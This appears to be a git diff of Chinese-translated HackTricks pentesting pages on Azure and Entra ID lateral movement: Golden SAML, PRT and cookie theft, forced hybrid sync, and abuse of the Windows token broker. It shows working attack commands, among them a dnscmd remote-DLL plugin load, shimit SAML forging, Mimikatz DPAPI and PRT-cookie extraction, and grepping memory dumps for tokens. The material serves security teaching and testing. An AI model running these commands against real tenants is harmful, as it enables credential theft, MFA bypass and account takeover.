- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md
+10 -10
View File
@@ -1,14 +1,14 @@
# Az - Microsoft Entra Domain Services
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Domain Services
Microsoft Entra Domain Services 允许在 Azure 中部署 Active Directory，而无需管理域控制器（实际上您甚至无法访问它们）。
其主要目标是允许您在云中运行无法使用现代身份验证方法的遗留应用程序，或者您不希望目录查找始终返回本地 AD DS 环境。
其主要目标是允许您在云中运行无法使用现代身份验证方法的遗留应用程序，或者您不希望目录查找始终返回到本地 AD DS 环境。
请注意，为了将 Entra ID 中生成的用户（而不是从其他活动目录同步的用户）同步到 AD 域服务，您需要**将用户的密码**更改为新密码，以便可以与新的 AD 同步。实际上，用户在密码更改之前不会从 Microsoft Entra ID 同步到域服务。
请注意，为了将 Entra ID 中生成的用户（而不是从其他活动目录同步的用户）同步到 AD 域服务，您需要**更改用户的密码**为新密码，以便可以与新的 AD 同步。实际上，用户在密码更改之前不会从 Microsoft Entra ID 同步到域服务。
> [!WARNING]
> 即使您正在创建一个新的活动目录域，您也无法完全管理它（除非利用一些错误配置），这意味着默认情况下，例如您无法直接在 AD 中创建用户。您通过**从 Entra ID 同步用户**来创建它们。您可以指示同步所有用户（即使是从其他本地 AD 同步的用户）、仅云用户（在 Entra ID 中创建的用户），甚至**进一步过滤它们**。
@@ -20,9 +20,9 @@ Microsoft Entra Domain Services 允许在 Azure 中部署 Active Directory，而
生成的 **`AAD DC Administrators`** 组的成员在与托管域关联的 VM 上被授予本地管理员权限（但不在域控制器上），因为他们被添加到本地管理员组中。该组的成员还可以使用**远程桌面远程连接到域加入的 VM**，并且也是以下组的成员：
- **`Denied RODC Password Replication Group`**：这是一个指定用户和组的组，其密码不能在 RODC（只读域控制器）上缓存。
- **`Group Policy Creators Owners`**：该组允许成员在域中创建组策略。然而，其成员无法将组策略应用于用户或组或编辑现有的 GPO，因此在此环境中并不那么有趣。
- **`DnsAdmins`**：该组允许管理 DNS 设置，并在过去被滥用以[提升权限并妥协域](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)，然而在此环境中测试该攻击后发现该漏洞已被修补：
- **`Denied RODC Password Replication Group`**：这是一个指定用户和组的组，这些用户和组的密码不能在 RODC（只读域控制器）上缓存。
- **`Group Policy Creators Owners`**：该组允许成员在域中创建组策略。然而，其成员无法将组策略应用于用户或组或编辑现有的 GPO，因此在此环境中并不是很有趣。
- **`DnsAdmins`**：该组允许管理 DNS 设置，并在过去被滥用以[提升权限并妥协域](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)，然而在此环境中测试该攻击后，检查到该漏洞已被修补：
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -32,12 +32,12 @@ Command failed: ERROR_ACCESS_DENIED 5 0x5
```
注意，为了授予这些权限，在AD中，**`AAD DC Administrators`** 组被添加为之前组的成员，并且GPO **`AADDC Computers GPO`** 将域组 **`AAD DC Administrators`** 的所有成员添加为本地管理员。
从Entra ID到使用域服务创建的AD的横向移动是直接的，只需将用户添加到 **`AAD DC Administrators`** 组中，通过RDP访问域中的任何/所有机器，您将能够窃取数据并且**妥协域。**
从Entra ID到使用域服务创建的AD的横向移动是直接的，只需将用户添加到 **`AAD DC Administrators`** 组中，通过RDP访问域中的任何/所有机器，您将能够窃取数据并**妥协域。**
然而，从域到Entra ID的横向移动并不容易，因为域中的内容没有同步到Entra ID。然而，始终检查所有加入的VM的元数据，因为它们的分配的托管身份可能具有有趣的权限。同时**从域中转储所有用户密码**并尝试破解它们，以便登录到Entra ID / Azure。
然而，从域到Entra ID的横向移动并不容易，因为域中的内容没有被同步到Entra ID。然而，始终检查所有加入的VM的元数据，因为它们的分配的托管身份可能具有有趣的权限。同时**从域中转储所有用户密码**并尝试破解它们，然后登录到Entra ID / Azure。
> [!NOTE]
> 注意，在过去发现了其他漏洞，这些漏洞允许妥协DC，[像这个](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。妥协DC的攻击者可以非常轻松地保持持久性，而Azure管理员则未注意到或甚至无法移除它。
> 注意，在过去发现了此托管AD中的其他漏洞，这些漏洞允许妥协DC，[像这个](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。妥协DC的攻击者可以非常轻松地保持持久性，而Azure管理员则未注意到或甚至无法删除它。
### 枚举
```bash
@@ -83,4 +83,4 @@ fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md
+9 -9
View File
@@ -1,13 +1,13 @@
# Az - Federation
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
>**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同，但通常包括**身份验证**，几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**，以便**共享访问**一组资源。
>您可以将**本地环境**与**Azure AD**进行**联邦**，并使用此联邦进行身份验证和授权。这种登录方法确保所有用户**身份验证在本地进行**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。
>您可以将**本地环境**与**Azure AD**进行**联邦**，并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证在本地进行**。此方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
@@ -23,7 +23,7 @@
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
1. 最初，用户访问一个应用程序（服务提供者或SP，例如AWS控制台或vSphere Web客户端）。根据具体实现，这一步可能会被绕过，直接将客户端引导到IdP（身份提供者）。
1. 最初，用户访问一个应用程序（服务提供者或SP，例如AWS控制台或vSphere Web客户端）。根据具体实现，此步骤可能会被绕过，直接将客户端引导到IdP（身份提供者）。
2. 随后，SP识别适当的IdP（例如，AD FS，Okta）进行用户身份验证。然后，它构建一个SAML（安全断言标记语言）AuthnRequest，并将客户端重定向到所选的IdP。
3. IdP接管，进行用户身份验证。身份验证后，IdP生成SAMLResponse并通过用户转发给SP。
4. 最后，SP评估SAMLResponse。如果成功验证，表明与IdP之间存在信任关系，则用户被授予访问权限。这标志着登录过程的完成，允许用户使用该服务。
@@ -46,7 +46,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
**黄金SAML攻击：**
- 在ADFS中，SAML响应由令牌签名证书签名。
- 如果证书被泄露，则可以作为任何同步到Azure AD的用户进行身份验证！
- 如果证书被泄露，可以作为任何同步到Azure AD的用户进行身份验证！
- 就像我们的PTA滥用一样，用户的密码更改或MFA不会产生任何影响，因为我们伪造了身份验证响应。
- 可以从AD FS服务器提取证书，具有DA权限，然后可以从任何连接到互联网的机器上使用。
- 更多信息请参见[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
**身份提供者（IdP）**生成**SAMLResponse**以授权用户登录的过程至关重要。根据IdP的具体实现，**响应**可能会使用**IdP的私钥**进行**签名**或**加密**。此过程使**服务提供者（SP）**能够确认SAMLResponse的真实性，确保它确实是由受信任的IdP发出的。
可以与[黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)进行类比，其中用于验证用户身份和权限的密钥（黄金票证的KRBTGT，黄金SAML的令牌签名私钥）可以被操纵以**伪造身份验证对象**（TGT或SAMLResponse）。这允许冒充任何用户，授予对SP的未授权访问。
可以与[黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)进行比较，其中用于验证用户身份和权限的密钥（黄金票证的KRBTGT，黄金SAML的令牌签名私钥）可以被操纵以**伪造身份验证对象**（TGT或SAMLResponse）。这允许冒充任何用户，授予对SP的未授权访问。
黄金SAML提供了一些优势：
@@ -66,9 +66,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
#### AWS + AD FS + 黄金SAML
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一项Microsoft服务，促进受信任商业伙伴之间的**身份信息安全交换**（联邦）。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
[活动目录联邦服务（AD FS）](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)是一个Microsoft服务，促进受信任商业伙伴之间的**身份信息安全交换**（联邦）。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
由于AWS信任被攻陷的域（在联邦中），可以利用此漏洞来潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签名SAML对象的私钥**，类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
由于AWS信任被泄露的域（在联邦中），可以利用此漏洞来潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签名SAML对象的私钥**，类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
执行黄金SAML攻击的要求包括：
@@ -96,7 +96,7 @@ _只有加粗的项目是强制性的。其他项目可以根据需要填写。_
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
通过所有信息，可以使用 [**shimit**](https://github.com/cyberark/shimit)**，以您想要冒充的用户身份忘记一个有效的 SAMLResponse：**
通过所有信息，可以使用 [**shimit**](https://github.com/cyberark/shimit)** 作为您想要冒充的用户忘记一个有效的 SAMLResponse：**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md
+10 -6
View File
@@ -1,25 +1,29 @@
# 混合身份杂项攻击
# Hybrid Identity Miscellaneous Attacks
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## 强制将 Entra ID 用户同步到本地
如 [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) 中提到的，可以通过在本地 AD 中更改 **`ProxyAddress`** 的值，将 Entra ID 管理员用户的电子邮件添加进去，并确保 AD 中用户的 UPN 与 Entra ID 中的匹配（这又是 Entra ID），例如 **`SMTP:admin@domain.onmicrosoft.com`**。这将 **强制将该用户从 Entra ID 同步到本地 AD**，因此如果知道该用户的密码，可以用来 **访问 Entra ID 中的管理员**。
如 [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) 中所述，可以通过在本地 AD 中更改 **`ProxyAddress`** 的值，将 Entra ID 管理员用户的电子邮件添加进去，并确保 AD 中用户的 UPN 与 Entra ID 中的匹配（这又是 Entra ID），例如 **`SMTP:admin@domain.onmicrosoft.com`**。这将 **强制将该用户从 Entra ID 同步到本地 AD**，因此如果知道该用户的密码，可以用来 **访问 Entra ID 中的管理员**。
为了将新用户从 Entra ID 同步到本地 AD，唯一的要求是：
- 控制本地 AD 中用户的属性（或有权限创建新用户）
- 知道用户的云端专用信息，以便从 Entra ID 同步到本地 AD
- 知道用户的云端信息，以便从 Entra ID 同步到本地 AD
- 你可能还需要能够将 Entra ID 用户的 immutableID 属性更改为本地 AD 用户，以进行 **硬匹配**。
> [!CAUTION]
> Entra ID 不再允许将管理员从 Entra ID 同步到本地 AD。
> 此外，这 **不会绕过 MFA**。
## 参考
## 参考文献
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+4 -4
View File
@@ -29,13 +29,13 @@ Azure PowerShell 也存储令牌和敏感数据，可以本地访问：
## 内存中的令牌
如 [**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw) 中所述，一些与云同步的 Microsoft 软件（Excel、Teams...）可能会 **以明文形式在内存中存储访问令牌**。因此，仅需 **转储** 进程的 **内存** 并 **grep JWT 令牌**，可能会让你访问受害者在云中的多个资源，绕过 MFA。
如 [**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw) 中所述，一些与云同步的 Microsoft 软件（Excel、Teams...）可能会 **以明文形式在内存中存储访问令牌**。因此，仅需 **转储** 该进程的 **内存** 并 **grep 查找 JWT 令牌**，可能会让您访问受害者在云中的多个资源，绕过 MFA。
步骤：
1. 使用你喜欢的工具转储与 EntraID 用户同步的 Excel 进程。
2. 运行：`string excel.dmp | grep 'eyJ0'`，在输出中找到多个令牌。
3. 找到你最感兴趣的令牌，并对其运行工具：
1. 使用您喜欢的工具转储与 EntraID 用户同步的 Excel 进程。
2. 运行：`string excel.dmp | grep 'eyJ0'` 并在输出中找到多个令牌。
3. 找到您最感兴趣的令牌并对其运行工具：
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+3 -3
View File
@@ -8,11 +8,11 @@
简单来说：
- 发起连接的机器（客户端）**需要从 Entra ID 获取用户的证书**。
- 发起连接的机器（客户端） **需要 Entra ID 为用户颁发的证书**。
- 客户端创建一个包含 PRT 和其他详细信息的 JSON Web Token (JWT) 头，使用派生密钥（使用会话密钥和安全上下文）对其进行签名，并 **将其发送到 Entra ID**。
- Entra ID 使用客户端会话密钥和安全上下文验证 JWT 签名，检查 PRT 的有效性，并 **响应** 以 **证书**。
在这种情况下，并在获取进行 [**Pass the PRT**](az-primary-refresh-token-prt.md) 攻击所需的所有信息后：
在这种情况下，并在获取所需的所有信息以进行 [**Pass the PRT**](az-primary-refresh-token-prt.md) 攻击后：
- 用户名
- 租户 ID
@@ -20,7 +20,7 @@
- 安全上下文
- 派生密钥
可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)** 请求用户的 **P2P 证书**。
可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** 请求用户的 **P2P 证书**。
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+1 -1
View File
@@ -28,7 +28,7 @@ mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrom
只需导航到 login.microsoftonline.com 并添加 cookie **`ESTSAUTHPERSISTENT`**（由“保持登录”选项生成）或 **`ESTSAUTH`**。这样您将被认证。
## References
## 参考
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+18 -18
View File
@@ -21,7 +21,7 @@
2. **令牌存储：**
- PRT 安全地存储在您的设备上，通常受到受信任的平台模块（TPM）等硬件功能的保护，确保未授权方难以提取或滥用。
- PRT 安全地存储在您的设备上，通常由受信任的平台模块（TPM）等硬件功能保护，确保未授权方难以提取或滥用。
3. **单点登录 (SSO)：**
@@ -33,11 +33,11 @@
- PRT 的生命周期较长（通常约为 14 天），但只要您的设备在积极使用中，就会不断续订。
- 如果您的设备被攻破或丢失，管理员可以远程撤销您的 PRT，立即阻止未授权访问。
- 如果您的设备被攻陷或丢失，管理员可以远程撤销您的 PRT，立即阻止未授权访问。
### 为什么 PRT 强大？
- **通用访问：** 与仅限于一个应用或资源的典型令牌不同，PRT 可以促进对所有 Entra ID 集成服务的访问。
- **通用访问：** 与通常限于一个应用或资源的令牌不同，PRT 可以促进对所有 Entra ID 集成服务的访问。
- **增强安全性：** 通过内置的硬件保护（如 TPM），PRT 确保安全的令牌存储和使用。
@@ -81,7 +81,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
**PRT字段**包含加密的刷新令牌（通常是base64字符串），而ProofOfPossessionKey中的KeyValue是DPAPI加密的会话密钥（也是base64）。
然后，从**`sekurlsa::cloudap`**输出中，复制字段`ProofOfPossessionKey`内**`KeyValue`**的base64 blob（这是用DPAPI加密的会话密钥）。这个加密密钥不能直接使用 – 必须使用系统的DPAPI凭据进行解密。
然后，从**`sekurlsa::cloudap`**输出中，复制字段`ProofOfPossessionKey`内**`KeyValue`**的base64 blob（这是用DPAPI加密的会话密钥）。这个加密的密钥不能直接使用 – 必须使用系统的DPAPI凭据进行解密。
因为DPAPI加密系统秘密需要机器的系统上下文，所以将你的令牌提升到SYSTEM，并使用Mimikatz的DPAPI模块进行解密：
```bash
@@ -92,7 +92,7 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
```
`token::elevate` 将模拟 SYSTEM，`dpapi::cloudapkd` 命令与 `/unprotect` 将使用 DPAPI 主密钥解密提供的 KeyValue blob。这将产生明文会话密钥以及用于签名的相关派生密钥和上下文：
- **明文密钥** – 以明文表示的 32 字节会话密钥（以十六进制字符串表示）。
- **明文密钥** – 32 字节的明文会话密钥（以十六进制字符串表示）。
- **派生密钥** – 从会话密钥和上下文值派生的 32 字节密钥（下面会详细介绍）。
- **上下文** – 用于派生 PRT cookie 签名密钥的 24 字节随机上下文。
@@ -106,7 +106,7 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
```
Mimikatz 将在“Signature with key”行之后输出一个签名的 JWT（`PRT cookie`），该 JWT 包含 PRT，并使用派生密钥进行签名。这个 JWT 可以被复制，然后在网络会话中使用。例如，攻击者可以打开浏览器，访问 `login.microsoftonline.com`，并设置一个名为 `x-ms-RefreshTokenCredential` 的 cookie，其值为这个 JWT。当浏览器刷新或导航时，Azure AD 会将会话视为已认证（PRT cookie 被呈现得好像发生了 SSO），并将为指定资源发放授权码或访问令牌。在实践中，用户会导航到像 Office 365 或 Azure 门户这样的资源；有效的 PRT cookie 的存在意味着 Azure AD 将在没有额外登录的情况下授予访问权限（绕过 MFA，因为 PRT 已经被认证）。
Mimikatz 将在“Signature with key”行之后输出一个签名的 JWT（`PRT cookie`），该 JWT 包含 PRT，并使用派生密钥进行签名。这个 JWT 可以被复制，然后在网络会话中使用。例如，攻击者可以打开浏览器，访问 `login.microsoftonline.com`，并设置一个名为 `x-ms-RefreshTokenCredential` 的 cookie，其值为这个 JWT。当浏览器刷新或导航时，Azure AD 会将会话视为已认证（PRT cookie 被呈现得好像发生了 SSO），并将为指定资源发放授权码或访问令牌。在实践中，用户会导航到像 Office 365 或 Azure 门户这样的资源；有效的 PRT cookie 的存在意味着 Azure AD 将在无需额外登录的情况下授予访问权限（绕过 MFA，因为 PRT 已经被认证）。
您还可以使用 **`roadtx`** 和 **`roadrecon`** 与 PRT cookie 的 PRT 来冒充用户 *(TODO: 找到使用 roadtx/roadrecon 从 PRT 获取凭据的确切命令行)*。
@@ -159,7 +159,7 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
```
## 滥用受保护的 PRTs
尽管有上述保护措施，已经攻陷设备的攻击者（作为本地用户或甚至 SYSTEM）仍然可以通过利用 Windows 自身的令牌代理 API 和安全组件来 **滥用 PRT 以获取新的访问令牌**。攻击者实际上是 **“请求” Windows 代表他们使用 PRT**，而不是 **提取** 原始 PRT 或密钥。在下面的部分中，我们概述了在启用 TPM 保护的最新 Windows 设备上滥用 PRT 及其会话密钥的当前有效技术。所有这些技术假设在目标机器上具有后渗透访问，并且 **专注于滥用内置身份验证流程**（不需要未修补的漏洞）。
尽管有上述保护措施，已经攻陷设备的攻击者（作为本地用户或甚至 SYSTEM）仍然可以 **滥用 PRT 来获取新的访问令牌**，通过利用 Windows 自身的令牌代理 API 和安全组件。攻击者基本上是 **“请求” Windows 代表他们使用 PRT**，而不是 **提取** 原始 PRT 或密钥。在下面的部分中，我们概述了在启用 TPM 保护的最新 Windows 设备上滥用 PRT 及其会话密钥的当前有效技术。所有这些技术假设在目标机器上具有后渗透访问，并且 **专注于滥用内置身份验证流程**（不需要未修补的漏洞）。
### Windows 令牌代理架构和 SSO 流程
@@ -167,19 +167,19 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
- **LSASS CloudAP 插件：** 当设备加入 Azure AD 时，LSASS 加载云身份验证包（例如 `CloudAP.dll`、`aadcloudap.dll`、`MicrosoftAccountCloudAP.dll`），这些包管理 PRT 和令牌请求。LSASS（以 SYSTEM 身份运行）协调 PRT 的存储、续订和使用，并与 TPM 接口以执行加密操作（如使用会话密钥对 PRT 挑战进行签名）。
- **Web 账户管理器 (WAM)：** Windows Web 账户管理器是一个用户模式框架（通过 COM/WinRT API 访问），允许应用程序或浏览器请求云账户的令牌，而无需提示输入凭据。WAM 充当用户应用程序与安全的 LSASS/TPM 支持的 PRT 之间的代理。例如，微软的 MSAL 库和某些操作系统组件使用 WAM 静默获取使用已登录用户的 PRT 的令牌。
- **Web 账户管理器（WAM）：** Windows Web 账户管理器是一个用户模式框架（通过 COM/WinRT API 访问），允许应用程序或浏览器请求云账户的令牌，而无需提示输入凭据。WAM 充当用户应用程序与安全的 LSASS/TPM 支持的 PRT 之间的代理。例如，微软的 MSAL 库和某些操作系统组件使用 WAM 静默获取使用已登录用户的 PRT 的令牌。
- **BrowserCore.exe 和令牌代理 COM 接口：** 对于浏览器 SSO，Windows 包含一个名为 **BrowserCore.exe** 的组件（位于 *Windows Security\BrowserCore* 下）。这是一个本地消息主机，浏览器（Edge、通过扩展的 Chrome 等）使用它来获取用于 Azure AD 登录的基于 PRT 的 SSO 令牌。在底层，BrowserCore 利用 `MicrosoftAccountTokenProvider.dll` 提供的 COM 对象来检索基于 PRT 的 cookie/令牌。本质上，这个 COM 接口是一个第一方的“令牌代理”API，任何以用户身份运行的进程都可以调用以获取 SSO 令牌（前提是用户在 LSASS 中有有效的 PRT）。
- **BrowserCore.exe 和令牌代理 COM 接口：** 对于浏览器 SSO，Windows 包含一个名为 **BrowserCore.exe** 的组件（位于 *Windows Security\BrowserCore* 下）。这是一个本地消息主机，浏览器（Edge、通过扩展的 Chrome 等）使用它来获取用于 Azure AD 登录的 PRT 派生的 SSO 令牌。在底层，BrowserCore 利用 `MicrosoftAccountTokenProvider.dll` 提供的 COM 对象来检索基于 PRT 的 cookie/令牌。本质上，这个 COM 接口是一个第一方“令牌代理”API，任何以用户身份运行的进程都可以调用以获取 SSO 令牌（前提是用户在 LSASS 中有有效的 PRT）。
当 Azure AD 加入的用户尝试访问资源（例如 Azure 门户）时，流程通常是：应用程序调用 WAM 或 BrowserCore 的 COM 接口，后者与 LSASS 通信。LSASS 使用 PRT 和会话密钥（由 TPM 保护）生成 **SSO 令牌**——通常称为 **PRT cookie**——然后将其返回给应用程序或浏览器。PRT cookie 是一个特殊的 JWT，包含加密的 PRT 和一个随机数，使用从 PRT 的会话密钥派生的密钥进行签名。此 cookie 被发送到 Azure AD（在 `x-ms-RefreshTokenCredential` 头中）以证明设备和用户持有有效的 PRT，从而允许 Azure AD 为各种应用程序发放标准的 OAuth 刷新和访问令牌。值得注意的是，PRT 中存在的任何多因素身份验证 (MFA) 声明将被带入通过此 SSO 过程获得的令牌，这意味着基于 PRT 的令牌可以满足 MFA 保护的资源。
当 Azure AD 加入的用户尝试访问资源（例如 Azure 门户）时，流程通常是：一个应用程序调用 WAM 或 BrowserCore 的 COM 接口，后者与 LSASS 通信。LSASS 使用 PRT 和会话密钥（由 TPM 保护）生成 **SSO 令牌**——通常称为 **PRT cookie**——然后将其返回给应用程序或浏览器。PRT cookie 是一个特殊的 JWT，包含加密的 PRT 和一个随机数，使用从 PRT 的会话密钥派生的密钥进行签名。这个 cookie 被发送到 Azure AD（在 `x-ms-RefreshTokenCredential` 头中）以证明设备和用户持有有效的 PRT，从而允许 Azure AD 为各种应用程序发放标准的 OAuth 刷新和访问令牌。值得注意的是，PRT 中存在的任何多因素身份验证（MFA）声明将被带入通过此 SSO 过程获得的令牌，这意味着基于 PRT 的令牌可以满足 MFA 保护的资源。
### 用户级令牌窃取（非管理员）
当攻击者具有 **用户级代码执行** 权限时，PRT 的 TPM 保护并不能阻止攻击者获取令牌。攻击者 **利用内置的 Windows 令牌代理 API**：
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
#### **BrowserCore（MicrosoftAccountTokenProvider COM）**
BrowserCore 暴露了一个 COM 类（`MicrosoftAccountTokenProvider`，CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`）来获取 PRT cookie。此 COM API 被浏览器（Chrome/Edge 扩展）合法调用以进行 Azure AD SSO。
BrowserCore 暴露了一个 COM 类（`MicrosoftAccountTokenProvider`，CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`）来获取 PRT cookie。这个 COM API 被浏览器（Chrome/Edge 扩展）合法调用以进行 Azure AD SSO。
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
```bash
@@ -256,24 +256,24 @@ $result.AccessToken
如果攻击者升级到 **管理员或 SYSTEM**，他们可以直接冒充任何已登录 Azure AD 的用户，并使用相同的 **COM/WAM 令牌代理 API**。TPM 保护的 PRT 并不阻止这种合法的令牌发放。
### **用户冒充和令牌获取**
### **用户冒充和令牌检索**
管理员/SYSTEM 可以冒充其他用户的运行会话，以调用 BrowserCore 或 WAM 进行令牌生成。
为此，只需冒充用户进程（例如，`explorer.exe`），并使用前一节中评论的任何技术调用令牌代理 API。
为此，只需冒充用户进程（例如，`explorer.exe`）并使用前一节中评论的任何技术调用令牌代理 API。
### **直接与 LSASS 和令牌代理交互（高级）**
### **直接 LSASS 和令牌代理交互（高级）**
管理员仍然可以与 LSASS 一起工作以滥用 PRT：例如，管理员可以向 LSASS 注入代码或调用内部 CloudAP 函数以提示 LSASS 生成令牌。Dirk-jan 的研究指出，管理员可以“使用加密 API 与 LSASS 中的 PRT 密钥进行交互”。在实践中，这可能意味着使用 LSASS 自身的功能（通过 API hooking 或 RPC 等技术，如果可用）来生成 PRT cookie。另一种方法是利用会话密钥可能出现在内存中的任何窗口——例如，在 PRT 更新或设备注册时，当它未加密以供使用时。这类攻击复杂且具有情境性。更直接的管理员策略是滥用现有的令牌句柄或缓存：LSASS 在内存中缓存最近发放的应用程序刷新令牌（使用 DPAPI 加密）。一个决心坚定的 SYSTEM 攻击者可以尝试提取这些受 DPAPI 保护的令牌（使用用户的主密钥，管理员可以获取）以直接窃取特定应用程序的刷新令牌。然而，最简单和最通用的方法仍然是冒充和使用文档化的令牌代理接口，因为这些保证 Azure AD 将发放新令牌（带有所有适当的声明），而不是尝试破解加密。
